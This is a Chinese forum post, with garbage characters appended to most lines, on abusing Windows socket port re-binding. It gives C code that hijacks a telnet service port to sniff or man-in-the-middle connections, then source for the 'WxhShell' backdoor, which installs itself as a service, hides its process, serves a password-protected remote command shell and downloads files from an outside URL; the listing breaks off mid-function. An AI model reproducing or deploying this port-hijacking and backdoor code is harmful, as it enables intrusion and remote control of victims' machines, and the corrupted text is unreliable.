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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "W!Uxc  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ["]r=l  
ipy1tXc  
  saddr.sin_family = AF_INET; \Nd8,hE  
}AdA? :7A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aN n\URR  
*2wFLh  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); F/1B>2$`  
W!.F\H,(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Cbw@:+%J{  
L#)F00/`  
  这意味着什么?意味着可以进行如下的攻击: ca~nfo  
ME'hN->c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #|\w\MJamP  
YXe L7W  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .v<Q-P\8/  
K7o!,['W  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7&ty!PpD  
>SS YYy  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +-8S,Rg@   
A^\A^$|O6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <~wr;"S  
|Dz$OZP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1D@'uApi.  
`|9NxF+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 btb$C  
Na6z1&wS  
  #include x+1Cs$E;  
  #include s+9q`k^  
  #include h?cf)L  
  #include    |ATz<"q>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4.>rd6BAN-  
  int main() mPhrMcL  
  { ?_hKhn%K9  
  WORD wVersionRequested; a?635*9K  
  DWORD ret; (+M]C]  
  WSADATA wsaData; >j&+mii  
  BOOL val;  _tl  
  SOCKADDR_IN saddr; 6I5,PB  
  SOCKADDR_IN scaddr; H83Gx;  
  int err; 2;!,:bFb  
  SOCKET s; k`#OXLR  
  SOCKET sc; k)'y;{IN  
  int caddsize; G {wIY"~4  
  HANDLE mt; 960[.99  
  DWORD tid;   rt5FecX\  
  wVersionRequested = MAKEWORD( 2, 2 ); c,wYXnJ_t  
  err = WSAStartup( wVersionRequested, &wsaData ); &Nzq/~uqP  
  if ( err != 0 ) { O7]p `Xi8  
  printf("error!WSAStartup failed!\n"); "4`i]vy8  
  return -1; 5" 5tY  
  } %3"xn!'vf  
  saddr.sin_family = AF_INET; k PuY[~i%  
   pQ:7%+Om  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 y;'yob  
i. O670D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); '>8IOC  
  saddr.sin_port = htons(23); 8XS_I{}?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CxvL!ew  
  { 1R}rL#h;=  
  printf("error!socket failed!\n"); 7EI5w37  
  return -1; D9hV`fA  
  } 9FGe (t <  
  val = TRUE; j@7%%   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QQ*` tmy  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o#p{0y  
  { [i"6\p&  
  printf("error!setsockopt failed!\n"); @ PboT1  
  return -1; G)(vd0X1  
  } -k4w$0)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R]LRgfi9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5o v F$qn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D7X8yv1  
&3@ {?K  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6}(; ~/L  
  { %a'Nf/9=:  
  ret=GetLastError(); <`PW4zSI  
  printf("error!bind failed!\n"); a/@F?\A  
  return -1; FrKI=8  
  } ?h$ =]  
  listen(s,2); @R c/ ^B:  
  while(1) :!'!V>#g  
  { BXzn-S  
  caddsize = sizeof(scaddr); B4l*]K%  
  //接受连接请求 >ocDh~@aP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ls;!Og9  
  if(sc!=INVALID_SOCKET) e$vvmbK.  
  { pW y+oZ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?KB+2]7m6  
  if(mt==NULL) 6I<^wS9j_  
  { s%6{X48vY^  
  printf("Thread Creat Failed!\n"); 2#i*'.  
  break; 6_&uYA<8pE  
  } *wfb~&: }  
  } tCF,KP?  
  CloseHandle(mt); +o ;}*  
  } pHftz-RS!  
  closesocket(s); 7NFRCCXHQ  
  WSACleanup(); ]Yw/}GKB  
  return 0; p;x3gc;0  
  }   "sD[P3  
  DWORD WINAPI ClientThread(LPVOID lpParam) (#)-IdXXO<  
  { ,E._A(Z  
  SOCKET ss = (SOCKET)lpParam; \>G:mMk/  
  SOCKET sc; 0#/NZO  
  unsigned char buf[4096]; C"gH>G  
  SOCKADDR_IN saddr; ?=FRn pU?  
  long num; ~43T$^<w;  
  DWORD val; ozCH1V{p  
  DWORD ret; C/JFb zVx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4WAs_~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^*$lCUv8p  
  saddr.sin_family = AF_INET; E S>iM)M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [YTOrN  
  saddr.sin_port = htons(23); p]]*H2UD  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A8zh27[w%  
  { N E/_  
  printf("error!socket failed!\n"); ,zP.ch0K  
  return -1; {0~xv@ U  
  } m"|AD/2;(  
  val = 100; o3ZqPk]al  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e.>>al  
  { Py! F  
  ret = GetLastError(); Z /*X)mBuB  
  return -1; LJh^-FQ  
  } !l7D1i~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -*nd5(lY&  
  { HX`>" ?{  
  ret = GetLastError(); z0F'zN 3J  
  return -1; ;,2;J3,pA  
  } k@Q>(`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) A.|98*U%  
  { *[ww;  
  printf("error!socket connect failed!\n"); o_#F,gze)S  
  closesocket(sc); +gh*n,:|  
  closesocket(ss); vw'BKi F  
  return -1; wRCv?D`vV  
  } M~O$ ,dof  
  while(1) ? 3t]9z  
  { 5;:964Et  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G,-x+e"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 66Tx>c"H  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cg| C S?  
  num = recv(ss,buf,4096,0); qN@-H6D1=  
  if(num>0) h+ggrwg'  
  send(sc,buf,num,0); }~bx==SF6!  
  else if(num==0) 1=^edQ+   
  break; BIn7<.&  
  num = recv(sc,buf,4096,0); ;XDGlv%  
  if(num>0) OGGuVY  
  send(ss,buf,num,0); 7.!`c-8 u  
  else if(num==0) +]*hzWbe  
  break; vUD>+*D  
  } ?E|be )  
  closesocket(ss); =K`]$Og}8  
  closesocket(sc); FJC}xEMcN  
  return 0 ; ?,AWXiif  
  } &`}8Jz=S  
T/YvCbo  
IPxK$nI^  
========================================================== \*r]v;NcP  
Y5XhV;16  
下边附上一个代码,,WXhSHELL nu!tk$Q  
^1jZwP;5eW  
========================================================== [+_0y[~,tB  
8EC$p} S  
#include "stdafx.h" O @)D%*;v  
e< E]8GAF  
#include <stdio.h> t$k$ Hd';  
#include <string.h> v0 uA]6:  
#include <windows.h> z'r B_l  
#include <winsock2.h> .0ExHcr  
#include <winsvc.h> E==vk~cz  
#include <urlmon.h> %.mHV7c)%  
w.9'TR  
#pragma comment (lib, "Ws2_32.lib") m{ VC1BkZ  
#pragma comment (lib, "urlmon.lib") slRD /  
iL\eMa  
#define MAX_USER   100 // 最大客户端连接数 <`Q*I Y  
#define BUF_SOCK   200 // sock buffer n^+rxG6 L  
#define KEY_BUFF   255 // 输入 buffer [ KT1.5M[  
i3usZ{_r  
#define REBOOT     0   // 重启 w}:&+B:  
#define SHUTDOWN   1   // 关机 s<`54o ,  
nLjc.Z\Bl  
#define DEF_PORT   5000 // 监听端口 TQiDbgFo  
{klyVb  
#define REG_LEN     16   // 注册表键长度 z&W5@6")`  
#define SVC_LEN     80   // NT服务名长度 o0`|r+E\  
k,M %"FLQ  
// 从dll定义API |j> fsk~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f!D~aJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'du{ky  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U%zZw)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oH vVZ  
$9In\ x  
// wxhshell配置信息 cpe/GvD5]  
struct WSCFG {  `xm4?6  
  int ws_port;         // 监听端口  `GQ'yv  
  char ws_passstr[REG_LEN]; // 口令 Qf<@ :T*  
  int ws_autoins;       // 安装标记, 1=yes 0=no r-]HmY x  
  char ws_regname[REG_LEN]; // 注册表键名 A3cW8 OClz  
  char ws_svcname[REG_LEN]; // 服务名 ^cz;UQX~}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |d0,54!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cUPC8k.1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t w?\bB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %yJ $R2%*y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8Ug`2xS<_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +i1\],7  
_=d X01  
}; S-D=-{@  
)?D w)s5  
// default Wxhshell configuration & ~*qTojj  
struct WSCFG wscfg={DEF_PORT, Btu=MUS  
    "xuhuanlingzhe", qL1 d-nH  
    1, dX vp-oi  
    "Wxhshell", kIlK"=  
    "Wxhshell", ;+W9EbY2  
            "WxhShell Service", gyx4='Q  
    "Wrsky Windows CmdShell Service", ^V5g[XL2  
    "Please Input Your Password: ", @b,&b6V  
  1, wNt-mgir-Q  
  "http://www.wrsky.com/wxhshell.exe", CTOrBl$70  
  "Wxhshell.exe" &8^ch,+pD  
    }; Dw-i!dq  
wO&2S-;_K  
// 消息定义模块 f:6%DT~a&C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TP-<Lhy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #'?gMVSk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o 2Okc><z  
char *msg_ws_ext="\n\rExit."; Y#[>j4<T  
char *msg_ws_end="\n\rQuit."; bo%v(  
char *msg_ws_boot="\n\rReboot..."; oY$L  
char *msg_ws_poff="\n\rShutdown..."; "2FI3M =  
char *msg_ws_down="\n\rSave to "; QTKN6P  
8ta`sNy9  
char *msg_ws_err="\n\rErr!"; sKU?"|G81G  
char *msg_ws_ok="\n\rOK!"; ,*}5xpX  
G"._]3 CPF  
char ExeFile[MAX_PATH]; $hM>%u  
int nUser = 0; e_{!8u.+  
HANDLE handles[MAX_USER]; j^&{5s  
int OsIsNt; H*&ZX AKv  
.gS x`|!  
SERVICE_STATUS       serviceStatus; lAcXi$pF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jh|4Y(  
SSh=r  
// 函数声明 +&:?*(?Q  
int Install(void); v!b 8_0~u6  
int Uninstall(void); :(o6^%x  
int DownloadFile(char *sURL, SOCKET wsh); oy?>e1Sy*  
int Boot(int flag); )rP)-op|A  
void HideProc(void); FJj #  
int GetOsVer(void); xU5+"t~  
int Wxhshell(SOCKET wsl); [q5N 4&q\  
void TalkWithClient(void *cs); G>q16nS~KP  
int CmdShell(SOCKET sock); 5HAIKc  
int StartFromService(void); Q|+g= |%^  
int StartWxhshell(LPSTR lpCmdLine); b5v6Y:f&fK  
q%Fc?d9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ad@Odx=o*R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y?1<7>L5~  
QxjX:O  
// 数据结构和表定义 nR()ei^X  
SERVICE_TABLE_ENTRY DispatchTable[] = [=xJh?*P  
{ on=I*?+R  
{wscfg.ws_svcname, NTServiceMain}, 01P ~K|s  
{NULL, NULL} :?}U Z#  
}; l*+5WrOS  
_P]!J~$5  
// 自我安装 ZJ7<!?6  
int Install(void) xQetAYP`  
{ |8s)kQ4$  
  char svExeFile[MAX_PATH]; .{@aQwN  
  HKEY key; 0/F/U=Z!  
  strcpy(svExeFile,ExeFile); sivd@7r\Fa  
mGK-&|gq  
// 如果是win9x系统,修改注册表设为自启动 5v uB87`  
if(!OsIsNt) { qXQ/M]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I )LO@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +[sZE X  
  RegCloseKey(key); @/ m|T]'8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ctzaqsr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +.RC{o,  
  RegCloseKey(key); jD eNCJ  
  return 0; %%w/;o!c  
    } jW G=k#WN  
  } tKik)ei  
} `S{Blv  
else { R1%2]?  
j$K[QSn  
// 如果是NT以上系统,安装为系统服务 <R?_Yjsw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (Wm4JmX%  
if (schSCManager!=0) <%2A, Vz"  
{ EpO5 _T_  
  SC_HANDLE schService = CreateService t#0/_tD  
  ( dK45&JHoW^  
  schSCManager, HcrI3v|6  
  wscfg.ws_svcname, 8] BOq:  
  wscfg.ws_svcdisp, 71h?t`N  
  SERVICE_ALL_ACCESS, #''q :^EQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rU {E}  
  SERVICE_AUTO_START, CX8tTbuFl  
  SERVICE_ERROR_NORMAL, ~ }<!ON;  
  svExeFile, ^.d97rSm  
  NULL, ,;2x.We  
  NULL, *vss  
  NULL, "^~>aVuXf  
  NULL, ZN:~etd  
  NULL c QjzI#  
  ); `Xbk2KD p  
  if (schService!=0) e(^\0=u<  
  { w;;.bz m  
  CloseServiceHandle(schService); r`THOj\cM  
  CloseServiceHandle(schSCManager); S&C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |Q'l&Gt6  
  strcat(svExeFile,wscfg.ws_svcname); WaV P+Ap  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u,d@ oF(=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SX{6L(  
  RegCloseKey(key); DJtKLG0  
  return 0;  4I> I  
    } B@,L83  
  } u= |hRTD=  
  CloseServiceHandle(schSCManager); V8z91  
} ^XV=(k;~bX  
} 2EeWcTBU}.  
:>Gm&w (n  
return 1; ugM,wT&~Y  
} By t{3$  
7kBULeBn|  
// 自我卸载 y s5b34JN  
int Uninstall(void) >qJRpO  
{ N{]|!#  
  HKEY key; GRanR'xG  
p7"o:YSQ  
if(!OsIsNt) { p",HF%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u3 mTsq!  
  RegDeleteValue(key,wscfg.ws_regname); e ,_b  
  RegCloseKey(key); d1c_F~h<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oEHUb?(p  
  RegDeleteValue(key,wscfg.ws_regname); Z#wmEc.}C  
  RegCloseKey(key); 9HOdtpQOV  
  return 0; OT_w<te  
  } [~;#]az  
} aDx{Q&  
} (;o,t?:d  
else { T4`.rnzyRb  
8J:6uO c|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Kq|L: Z  
if (schSCManager!=0) Q(-:)3g[aL  
{ {89F*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $=f,z>j  
  if (schService!=0) l>RW&C&T  
  { ]3_oT^$:  
  if(DeleteService(schService)!=0) { .c'EXuI7),  
  CloseServiceHandle(schService); |IqQ%;H  
  CloseServiceHandle(schSCManager); L Ty [)  
  return 0; Be{7Rj v  
  } ~_P,z?  
  CloseServiceHandle(schService); zrjqB3R4@O  
  } qby!  
  CloseServiceHandle(schSCManager); 1(`>9t02/?  
} U:eahK  
} ?d1H]f<M  
T?W`g> yM  
return 1; 3 tMFJ ;*`  
} UNcS\t2N  
{ Slc6$  
// 从指定url下载文件 *<2+tI  
int DownloadFile(char *sURL, SOCKET wsh) vLW&/YJ6  
{ Zqke8q  
  HRESULT hr; SrfDl*  
char seps[]= "/"; !o2lB^e8  
char *token; 9g#L"T=  
char *file; )p7WU?&I  
char myURL[MAX_PATH]; _dY6Ip%  
char myFILE[MAX_PATH]; ~Rx[~a  
y&NO[  
strcpy(myURL,sURL); 95;q ] =U  
  token=strtok(myURL,seps); | 1H"ya  
  while(token!=NULL) h_4o4#  
  { <">tB"="b  
    file=token; k9`Bi`wp  
  token=strtok(NULL,seps); '{j.5~4y  
  } z#*w Na&@[  
xtyzy@)QL  
GetCurrentDirectory(MAX_PATH,myFILE); ( Kh<qAP_n  
strcat(myFILE, "\\"); 4"fiEt,t<x  
strcat(myFILE, file); D}l^ow  
  send(wsh,myFILE,strlen(myFILE),0); 89:Ys=  
send(wsh,"...",3,0); }tT"vCu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a DuO!?Cm  
  if(hr==S_OK) UUy|/z%  
return 0; }3cOZd_,t  
else XCO{}wU)>  
return 1; 4f<%<Z  
Mt)`hR+2  
} [)|P-x-<  
"q4c[dna  
// 系统电源模块 *Z=K9y,IC  
int Boot(int flag) w+bQpIP M  
{ }wrZP}zM>  
  HANDLE hToken; q bb:)>  
  TOKEN_PRIVILEGES tkp; ZKyK#\v<  
zlIXia5  
  if(OsIsNt) { Tm@d;O'E1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IB:Wh;_x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,9gyHQ~  
    tkp.PrivilegeCount = 1; Fxy-_%a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g5/%}8[- 2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `6`NuZ*6g  
if(flag==REBOOT) { hHF YAh   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g?!vR id@S  
  return 0; ^EE 3E'  
} RG-pN()  
else { a0OH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Lz2 AWqR  
  return 0; ?c0OrvM  
} K~OfC  
  } ,#rl"  
  else { 8SK}#44Xz  
if(flag==REBOOT) { lq=| =  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9*2A}dH  
  return 0; 7. 9n  
} ]kx)/n-K  
else { )e|Cd} 2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LJDX6]4n  
  return 0; Gd1%6}<~  
} g nJe!E  
} )h&s.k  
X64OX9:YF  
return 1; ]W3D4Swq  
} 8=OK8UaU  
<@ D`16%&  
// win9x进程隐藏模块 Fy5xIRyI\F  
void HideProc(void) *`[dC,+`.  
{ |ZW%+AQ|  
}2-<}m9}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -Czq[n=0(  
  if ( hKernel != NULL ) aW]!$  
  { 9B")/Hz_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K <7#;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }C.M4{a\  
    FreeLibrary(hKernel); t QkEJ pj  
  } 1XQJ#J1/  
!/, 6+2Ru  
return; #k5WTcE  
} N#'+p5|>  
HB yk 1  
// 获取操作系统版本 |9ro&KA  
int GetOsVer(void) LyO, ]  
{ 1xg^;3m2  
  OSVERSIONINFO winfo; B4 5B`Ay  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 68?oV)fE  
  GetVersionEx(&winfo); CPc<!CC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j J6Yz  
  return 1; wP3_RA]z  
  else g9(zJ  
  return 0; AEaT  
} &WAO.*:y  
n~N>c*p  
// 客户端句柄模块 e_s9E{(  
int Wxhshell(SOCKET wsl) {?m;DY v  
{ l^4[;%*f#l  
  SOCKET wsh; k.? aq  
  struct sockaddr_in client; wOQ-sp0q0  
  DWORD myID; 5\1Z"?  
CZyOAoc<  
  while(nUser<MAX_USER) Y, K): ~T  
{ gv$6\1  
  int nSize=sizeof(client); l4u@0;6P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :UMg5eZ  
  if(wsh==INVALID_SOCKET) return 1; G%~=hEK0  
6dQa|ACX_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %\PnsnJ9Q  
if(handles[nUser]==0) qp (ng 8%c  
  closesocket(wsh); R)?b\VK2$  
else Zy^mSI4i  
  nUser++; *A}QBZ  
  } 2Cn^<(F^4I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q+2yp&zF  
NfcY30}:  
  return 0; 7><ne|%  
} o<P@:}K  
Bmuf[-}QW  
// 关闭 socket 1 Y_e1tgmm  
void CloseIt(SOCKET wsh) =$601r  
{ p%e! &:!  
closesocket(wsh); RP'`\| |*  
nUser--; 1\1a;Q3W%,  
ExitThread(0); |qbCmsY5/  
} tdg.vYMDPC  
/9dV!u!;  
// 客户端请求句柄 $@d`Kz;  
void TalkWithClient(void *cs) ,?i^i#Wqzg  
{ > kOca  
Q(h,P+  
  SOCKET wsh=(SOCKET)cs; <$Q\vCR  
  char pwd[SVC_LEN]; m&o}qzC'y  
  char cmd[KEY_BUFF]; jQ.]m   
char chr[1]; }CZ,WJz=  
int i,j; UN_f2  
):?ype>  
  while (nUser < MAX_USER) { p.i$[6M  
I!lzOg4~  
if(wscfg.ws_passstr) { ?TLEZlB2"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U~Aw=h5SD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pi::cf>3  
  //ZeroMemory(pwd,KEY_BUFF); KTxdZt  
      i=0; {LTb-CB  
  while(i<SVC_LEN) { Us.yKAHPV  
m>2b %GTh  
  // 设置超时 '"QC^Joz  
  fd_set FdRead; YXXUYi~!f  
  struct timeval TimeOut; x^_Wfkch]  
  FD_ZERO(&FdRead); Ne*I$T 5  
  FD_SET(wsh,&FdRead); ie^:PcU  
  TimeOut.tv_sec=8; =:`1!W0I  
  TimeOut.tv_usec=0; 65AXUTg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); USu/Y29  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  A$ %5l  
mH*42XC*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =]oBBokV  
  pwd=chr[0]; udB:ys  
  if(chr[0]==0xd || chr[0]==0xa) { f2[z)j7  
  pwd=0; FOpOS?Cr'  
  break; @I}:HiF  
  } td4*+)'FY  
  i++; lJoMJS;S]}  
    } :Oo  
"[@-p  
  // 如果是非法用户,关闭 socket Cca( oV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N^q*lV#kob  
} VY<v?Of i-  
lT$Vv= M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e.G&hJ r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZA>hN3fE'  
N-jFA8n  
while(1) { ! Qrlb>1z-  
X;sl?8HG!<  
  ZeroMemory(cmd,KEY_BUFF); #QZg{  
^R1 nOo/  
      // 自动支持客户端 telnet标准   <;#d*&]  
  j=0; h0 Acpd2  
  while(j<KEY_BUFF) { g]iWD;61  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4PTHUyX  
  cmd[j]=chr[0]; ?nrd$,  
  if(chr[0]==0xa || chr[0]==0xd) { *kgbcUf8  
  cmd[j]=0; A)040n  
  break; Z i$a6  
  } 6VolTy@(x  
  j++; QV+('  
    } 56u'XMB?  
$rs7D}VNc  
  // 下载文件 W2tIt&{  
  if(strstr(cmd,"http://")) { tb AN{pX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5'\/gvxIC  
  if(DownloadFile(cmd,wsh)) O-wR48Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [:a;|t  
  else cG?RisSZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f|?i6.N> f  
  } &k&tkE  
  else { ^qiTO`lg  
9XF+? x  
    switch(cmd[0]) { [HtU-8:  
  $b\Gl=YX^  
  // 帮助 :Ff1Js(Z  
  case '?': { X )fj&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o&rejj#  
    break; `zC_?+  
  } @s2z/ h0H  
  // 安装 I6YN&9Y  
  case 'i': { $Xk1'AzB8  
    if(Install()) 2aW&d=!ZV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p8[Z/]p  
    else e_g7E+6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >8t3a-/  
    break; ED[PP2[/  
    } \4~uop,Nb+  
  // 卸载 O9=vz%  
  case 'r': { q3T'rw%Eh  
    if(Uninstall()) m$*dPje  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "^zxq5u  
    else /JtKn*?}:>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,S:g 5n>M  
    break; %1@+pf/  
    } epW;]> l  
  // 显示 wxhshell 所在路径 0#G&8*FMN  
  case 'p': { d#vq+wR  
    char svExeFile[MAX_PATH]; tE9%;8;H  
    strcpy(svExeFile,"\n\r"); i~ n>dc YW  
      strcat(svExeFile,ExeFile); /tJJ2 =%l  
        send(wsh,svExeFile,strlen(svExeFile),0); fwf]1@#   
    break; <{3VK  
    } lk%rE  
  // 重启 qdL;Ii<Y0  
  case 'b': { 1}QU\N(t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +*DXzVC  
    if(Boot(REBOOT)) K {!eHTU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zRD{"uqi  
    else { H^B/ '#mO  
    closesocket(wsh); p(v+j_ak  
    ExitThread(0); )`,3/i9C$  
    } v /G,  
    break; g.s~Ph-G  
    } iU~oPp[e  
  // 关机 Yr ,e7da  
  case 'd': { )C<c{mjk(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m mu{K$9}I  
